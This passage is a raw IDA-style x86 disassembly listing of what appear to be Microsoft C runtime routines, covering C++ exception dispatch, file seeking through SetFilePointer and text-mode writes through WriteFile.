eax, eax jmp short loc_42285A ; --------------------------------------------------------------------------- loc_422857: ; CODE XREF: sub_422800+Bj ; sub_422800+14j ... push 1 pop eax loc_42285A: ; CODE XREF: sub_422800+55j pop edi pop esi retn sub_422800 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42285D proc near ; CODE XREF: sub_422516+34p ; sub_422911+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4288D0 push offset sub_423D9C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42288F: ; CODE XREF: sub_42285D+8Aj cmp esi, [ebp+arg_C] jz short loc_4228E9 cmp esi, 0FFFFFFFFh jle short loc_42289E cmp esi, [edi+4] jl short loc_4228A3 loc_42289E: ; CODE XREF: sub_42285D+3Aj call sub_422DB2 loc_4228A3: ; CODE XREF: sub_42285D+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4228BE push 103h push ebx push eax call sub_422D10 loc_4228BE: ; CODE XREF: sub_42285D+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4228DE ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4228FB pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4228DE: ; CODE XREF: sub_42285D+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42288F ; --------------------------------------------------------------------------- loc_4228E9: ; CODE XREF: sub_42285D+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42285D endp ; =============== S U B R O U T I N E ======================================= sub_4228FB proc near ; CODE XREF: sub_42285D+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_42290C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42290C: ; CODE XREF: sub_4228FB+Cj jmp sub_422D5C sub_4228FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422911 proc near ; CODE XREF: sub_4225B1+151p ; sub_422758+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422933 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_422AC2 add esp, 10h loc_422933: ; CODE XREF: sub_422911+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42293F push edi jmp short loc_422942 ; --------------------------------------------------------------------------- loc_42293F: ; CODE XREF: sub_422911+29j push [ebp+arg_24] loc_422942: ; CODE XREF: sub_422911+2Cj call sub_41D0A0 mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_42285D mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_42298C add esp, 2Ch test eax, eax jz short loc_422987 push edi push eax call sub_41D05E loc_422987: ; CODE XREF: sub_422911+6Dj pop edi pop esi pop ebx pop ebp retn sub_422911 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42298C proc near ; CODE XREF: sub_422911+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4288E0 push offset sub_423D9C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DE0D4 mov [ebp+var_1C], ecx mov ecx, dword_4DE0D8 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DE0D4, edi mov ecx, [ebp+arg_8] mov dword_4DE0D8, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41D125 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422A52 mov eax, [ebp+var_2C] loc_422A19: ; CODE XREF: sub_422A32+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42298C endp ; =============== S U B R O U T I N E ======================================= sub_422A28 proc near ; DATA XREF: .packed:004288F0o push dword ptr [ebp-14h] call sub_422A98 pop ecx retn sub_422A28 endp ; =============== S U B R O U T I N E ======================================= sub_422A32 proc near ; DATA XREF: .packed:004288F4o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41D386 pop ecx pop ecx xor eax, eax jmp short loc_422A19 sub_422A32 endp ; --------------------------------------------------------------------------- loc_422A4A: ; DATA XREF: .packed:004288E8o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422A52 proc near ; CODE XREF: sub_42298C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DE0D4, eax mov eax, [ebp-20h] mov dword_4DE0D8, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422A97 cmp dword ptr [edi+10h], 3 jnz short locret_422A97 cmp dword ptr [edi+14h], 19930520h jnz short locret_422A97 cmp [ebp-24h], ebx jnz short locret_422A97 cmp [ebp-2Ch], ebx jz short locret_422A97 call sub_41D3EE push eax push edi call sub_422C86 pop ecx pop ecx locret_422A97: ; CODE XREF: sub_422A52+1Cj ; sub_422A52+22j ... retn sub_422A52 endp ; =============== S U B R O U T I N E ======================================= sub_422A98 proc near ; CODE XREF: sub_422A28+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_422ABF cmp dword ptr [eax+10h], 3 jnz short loc_422ABF cmp dword ptr [eax+14h], 19930520h jnz short loc_422ABF cmp dword ptr [eax+1Ch], 0 jnz short loc_422ABF push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422ABF: ; CODE XREF: sub_422A98+Cj ; sub_422A98+12j ... xor eax, eax retn sub_422A98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422AC2 proc near ; CODE XREF: sub_422911+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4288F8 push offset sub_423D9C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_422C6B cmp byte ptr [eax+8], 0 jz loc_422C6B mov eax, [ecx+8] test eax, eax jz loc_422C6B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_422B5F mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424FA0 pop ecx pop ecx test eax, eax jz loc_422C62 push 1 push edi call sub_424FBC pop ecx pop ecx test eax, eax jz loc_422C62 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422B50: ; CODE XREF: sub_422AC2+F5j push eax call sub_422CED pop ecx pop ecx mov [edi], eax jmp loc_422C67 ; --------------------------------------------------------------------------- loc_422B5F: ; CODE XREF: sub_422AC2+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_422BB9 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424FA0 pop ecx pop ecx test eax, eax jz loc_422C62 push 1 push edi call sub_424FBC pop ecx pop ecx test eax, eax jz loc_422C62 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41D460 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422C67 mov eax, [edi] test eax, eax jz loc_422C67 add esi, 8 push esi jmp short loc_422B50 ; --------------------------------------------------------------------------- loc_422BB9: ; CODE XREF: sub_422AC2+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422C01 call sub_424FA0 pop ecx pop ecx test eax, eax jz loc_422C62 push 1 push edi call sub_424FBC pop ecx pop ecx test eax, eax jz short loc_422C62 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_422CED pop ecx pop ecx push eax push edi call sub_41D460 add esp, 0Ch jmp short loc_422C67 ; --------------------------------------------------------------------------- loc_422C01: ; CODE XREF: sub_422AC2+103j call sub_424FA0 pop ecx pop ecx test eax, eax jz short loc_422C62 push 1 push edi call sub_424FBC pop ecx pop ecx test eax, eax jz short loc_422C62 push dword ptr [esi+18h] call sub_424FD8 pop ecx test eax, eax jz short loc_422C62 test byte ptr [esi], 4 jz short loc_422C48 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422CED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D099 jmp short loc_422C67 ; --------------------------------------------------------------------------- loc_422C48: ; CODE XREF: sub_422AC2+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422CED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D092 jmp short loc_422C67 ; --------------------------------------------------------------------------- loc_422C62: ; CODE XREF: sub_422AC2+6Aj ; sub_422AC2+7Cj ... call sub_422DB2 loc_422C67: ; CODE XREF: sub_422AC2+98j ; sub_422AC2+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_422C6B: ; CODE XREF: sub_422AC2+2Ej ; sub_422AC2+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422AC2 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422D5C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C86 proc near ; CODE XREF: sub_4225B1+170p ; sub_422A52+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428908 push offset sub_423D9C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_422CCD mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_422CCD and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41D092 or [ebp+var_4], 0FFFFFFFFh loc_422CCD: ; CODE XREF: sub_422C86+2Aj ; sub_422C86+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422C86 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422D5C ; =============== S U B R O U T I N E ======================================= sub_422CED proc near ; CODE XREF: sub_422AC2+8Fp ; sub_422AC2+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_422D0E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_422D0E: ; CODE XREF: sub_422CED+12j pop esi retn sub_422CED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422D10 proc near ; CODE XREF: sub_41D125+40p ; sub_42285D+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41D411 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_422D4F mov ecx, 2 loc_422D4F: ; CODE XREF: sub_422D10+38j push ecx call sub_41D411 pop ebp pop ecx pop ebx leave retn 0Ch sub_422D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422D5C proc near ; CODE XREF: sub_4225B1:loc_422753j ; sub_4228FB:loc_42290Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424FF0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428918 push offset sub_423D9C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DE0E0 test eax, eax jz short loc_422DA4 mov [ebp+var_4], 1 call eax jmp short loc_422DA0 ; --------------------------------------------------------------------------- loc_422D99: ; DATA XREF: .packed:00428928o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422D9D: ; DATA XREF: .packed:0042892Co mov esp, [ebp+var_18] loc_422DA0: ; CODE XREF: sub_422D5C+3Bj and [ebp+var_4], 0 loc_422DA4: ; CODE XREF: sub_422D5C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422DAD: ; DATA XREF: .packed:00428920o jmp loc_424FF0 sub_422D5C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422DB2 proc near ; CODE XREF: sub_41D2C7+23p ; sub_41D2C7:loc_41D332p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428930 push offset sub_423D9C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43F5B4 test eax, eax jz short loc_422DFA mov [ebp+var_4], 1 call eax ; sub_422D5C jmp short loc_422DF6 ; --------------------------------------------------------------------------- loc_422DEF: ; DATA XREF: .packed:00428940o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422DF3: ; DATA XREF: .packed:00428944o mov esp, [ebp+var_18] loc_422DF6: ; CODE XREF: sub_422DB2+3Bj and [ebp+var_4], 0 loc_422DFA: ; CODE XREF: sub_422DB2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422E03: ; DATA XREF: .packed:00428938o jmp sub_422D5C sub_422DB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422E08 proc near ; CODE XREF: sub_41D7A3+7p ; sub_41D7A3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DF6C8 push esi cmp eax, 3 jnz short loc_422E31 mov esi, [ebp+arg_0] push esi call sub_41E677 test eax, eax pop ecx jz short loc_422E2E mov eax, [esi-4] sub eax, 9 jmp short loc_422E66 ; --------------------------------------------------------------------------- loc_422E2E: ; CODE XREF: sub_422E08+1Cj push esi jmp short loc_422E58 ; --------------------------------------------------------------------------- loc_422E31: ; CODE XREF: sub_422E08+Ej cmp eax, 2 jnz short loc_422E55 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41F3D2 add esp, 0Ch test eax, eax jz short loc_422E55 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422E66 ; --------------------------------------------------------------------------- loc_422E55: ; CODE XREF: sub_422E08+2Cj ; sub_422E08+43j push [ebp+arg_0] loc_422E58: ; CODE XREF: sub_422E08+27j push 0 push dword_4DF6C4 call dword_428058 ; RtlSizeHeap loc_422E66: ; CODE XREF: sub_422E08+24j ; sub_422E08+4Bj pop esi leave retn sub_422E08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422E69 proc near ; CODE XREF: sub_41D851+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_422F25 cmp ebx, 8Ah jg loc_422F25 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43FA7C[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_422EA8 cmp edi, 2 jle short loc_422EA8 inc esi loc_422EA8: ; CODE XREF: sub_422E69+37j ; sub_422E69+3Cj call sub_425007 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43F998 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_422F1B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422F21 cmp dword_43F99C, 0 jz short loc_422F21 lea eax, [ebp+var_24] push eax call sub_42527A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422F21 loc_422F1B: ; CODE XREF: sub_422E69+90j add ecx, dword_43F9A0 loc_422F21: ; CODE XREF: sub_422E69+96j ; sub_422E69+9Fj ... mov eax, ecx jmp short loc_422F28 ; --------------------------------------------------------------------------- loc_422F25: ; CODE XREF: sub_422E69+13j ; sub_422E69+1Fj or eax, 0FFFFFFFFh loc_422F28: ; CODE XREF: sub_422E69+BAj pop ebx leave retn sub_422E69 endp ; =============== S U B R O U T I N E ======================================= sub_422F2B proc near ; DATA XREF: .packed:0042A02Co mov eax, dword_4DF480 push esi push 14h test eax, eax pop esi jnz short loc_422F3F mov eax, 200h jmp short loc_422F45 ; --------------------------------------------------------------------------- loc_422F3F: ; CODE XREF: sub_422F2B+Bj cmp eax, esi jge short loc_422F4A mov eax, esi loc_422F45: ; CODE XREF: sub_422F2B+12j mov dword_4DF480, eax loc_422F4A: ; CODE XREF: sub_422F2B+16j push 4 push eax call sub_425566 pop ecx mov dword_4DE464, eax test eax, eax pop ecx jnz short loc_422F7E push 4 push esi mov dword_4DF480, esi call sub_425566 pop ecx mov dword_4DE464, eax test eax, eax pop ecx jnz short loc_422F7E push 1Ah call sub_41E229 pop ecx loc_422F7E: ; CODE XREF: sub_422F2B+30j ; sub_422F2B+49j xor ecx, ecx mov eax, offset off_43F5B8 loc_422F85: ; CODE XREF: sub_422F2B+6Ej mov edx, dword_4DE464 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43F838 jl short loc_422F85 xor edx, edx mov ecx, offset dword_43F5C8 loc_422FA2: ; CODE XREF: sub_422F2B+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DE360[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_422FBF test eax, eax jnz short loc_422FC2 loc_422FBF: ; CODE XREF: sub_422F2B+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_422FC2: ; CODE XREF: sub_422F2B+92j add ecx, 20h inc edx cmp ecx, offset dword_43F628 jl short loc_422FA2 pop esi retn sub_422F2B endp ; =============== S U B R O U T I N E ======================================= sub_422FD0 proc near ; DATA XREF: .packed:0042A03Co ; FUNCTION CHUNK AT 00425617 SIZE 00000058 BYTES call sub_41E3E7 cmp byte_4DE06C, 0 jz short locret_422FE3 jmp loc_425617 ; --------------------------------------------------------------------------- locret_422FE3: ; CODE XREF: sub_422FD0+Cj retn sub_422FD0 endp ; =============== S U B R O U T I N E ======================================= sub_422FE4 proc near ; CODE XREF: sub_41D9ED+67p ; sub_41F91C+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DE460 push esi push edi jnb short loc_423066 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DE360h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_423066 push eax call sub_424186 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_423028 mov dword_4DE02C, 9 jmp short loc_423077 ; --------------------------------------------------------------------------- loc_423028: ; CODE XREF: sub_422FE4+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call dword_428120 ; SetFilePointer mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_423048 call dword_42808C ; RtlGetLastWin32Error jmp short loc_42304A ; --------------------------------------------------------------------------- loc_423048: ; CODE XREF: sub_422FE4+5Aj xor eax, eax loc_42304A: ; CODE XREF: sub_422FE4+62j test eax, eax jz short loc_423057 push eax call sub_420BDF pop ecx jmp short loc_423077 ; --------------------------------------------------------------------------- loc_423057: ; CODE XREF: sub_422FE4+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_42307A ; --------------------------------------------------------------------------- loc_423066: ; CODE XREF: sub_422FE4+Dj ; sub_422FE4+2Aj and dword_4DE030, 0 mov dword_4DE02C, 9 loc_423077: ; CODE XREF: sub_422FE4+42j ; sub_422FE4+71j or eax, 0FFFFFFFFh loc_42307A: ; CODE XREF: sub_422FE4+80j pop edi pop esi pop ebx retn sub_422FE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42307E proc near ; CODE XREF: sub_41D9ED+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_42309A mov [edi+4], ebx loc_42309A: ; CODE XREF: sub_42307E+17j push 1 push ebx push esi call sub_422FE4 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_423108 mov edx, [edi+0Ch] test dx, 108h jnz short loc_4230BF sub eax, [edi+4] jmp loc_4231D1 ; --------------------------------------------------------------------------- loc_4230BF: ; CODE XREF: sub_42307E+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_4230F9 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DE360[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_423110 mov edx, ecx loc_4230EA: ; CODE XREF: sub_42307E+79j cmp edx, eax jnb short loc_423110 cmp byte ptr [edx], 0Ah jnz short loc_4230F6 inc [ebp+var_8] loc_4230F6: ; CODE XREF: sub_42307E+73j inc edx jmp short loc_4230EA ; --------------------------------------------------------------------------- loc_4230F9: ; CODE XREF: sub_42307E+50j test dl, 80h jnz short loc_423110 mov dword_4DE02C, 16h loc_423108: ; CODE XREF: sub_42307E+2Dj or eax, 0FFFFFFFFh jmp loc_4231D1 ; --------------------------------------------------------------------------- loc_423110: ; CODE XREF: sub_42307E+68j ; sub_42307E+6Ej ... cmp [ebp+var_4], 0 jnz short loc_42311E mov eax, [ebp+var_8] jmp loc_4231D1 ; --------------------------------------------------------------------------- loc_42311E: ; CODE XREF: sub_42307E+96j test byte ptr [edi+0Ch], 1 jz loc_4231C9 mov edx, [edi+4] test edx, edx jnz short loc_423137 and [ebp+var_8], edx jmp loc_4231C9 ; --------------------------------------------------------------------------- loc_423137: ; CODE XREF: sub_42307E+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DE360h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_4231C3 push 2 push 0 push [ebp+var_C] call sub_422FE4 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_42318A mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_423175: ; CODE XREF: sub_42307E+104j cmp eax, ecx jnb short loc_423184 cmp byte ptr [eax], 0Ah jnz short loc_423181 inc [ebp+arg_0] loc_423181: ; CODE XREF: sub_42307E+FEj inc eax jmp short loc_423175 ; --------------------------------------------------------------------------- loc_423184: ; CODE XREF: sub_42307E+F9j test byte ptr [edi+0Dh], 20h jmp short loc_4231BE ; --------------------------------------------------------------------------- loc_42318A: ; CODE XREF: sub_42307E+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_422FE4 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4231B1 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4231B1 test ch, 4 jz short loc_4231B4 loc_4231B1: ; CODE XREF: sub_42307E+124j ; sub_42307E+12Cj mov eax, [edi+18h] loc_4231B4: ; CODE XREF: sub_42307E+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_4231BE: ; CODE XREF: sub_42307E+10Aj jz short loc_4231C3 inc [ebp+arg_0] loc_4231C3: ; CODE XREF: sub_42307E+D9j ; sub_42307E:loc_4231BEj mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_4231C9: ; CODE XREF: sub_42307E+A4j ; sub_42307E+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_4231D1: ; CODE XREF: sub_42307E+3Cj ; sub_42307E+8Dj ... pop edi pop esi pop ebx leave retn sub_42307E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4231D6 proc near ; CODE XREF: sub_41DAB4+A2p ; sub_41E38B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DE460 push esi push edi jnb loc_42336A mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DE360h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_42336A xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_423227 loc_423220: ; CODE XREF: sub_4231D6+177j xor eax, eax jmp loc_42337E ; --------------------------------------------------------------------------- loc_423227: ; CODE XREF: sub_4231D6+48j test al, 20h jz short loc_423237 push 2 push edi push ecx call sub_422FE4 add esp, 0Ch loc_423237: ; CODE XREF: sub_4231D6+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_423306 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_42333E loc_423257: ; CODE XREF: sub_4231D6+F5j lea eax, [ebp+var_414] loc_42325D: ; CODE XREF: sub_4231D6+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_423291 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_42327C inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_42327C: ; CODE XREF: sub_4231D6+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_42325D loc_423291: ; CODE XREF: sub_4231D6+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_4280E0 ; WriteFile test eax, eax jz short loc_4232FB mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_4232CD mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_423257 loc_4232CD: ; CODE XREF: sub_4231D6+EAj ; sub_4231D6+12Ej xor edi, edi 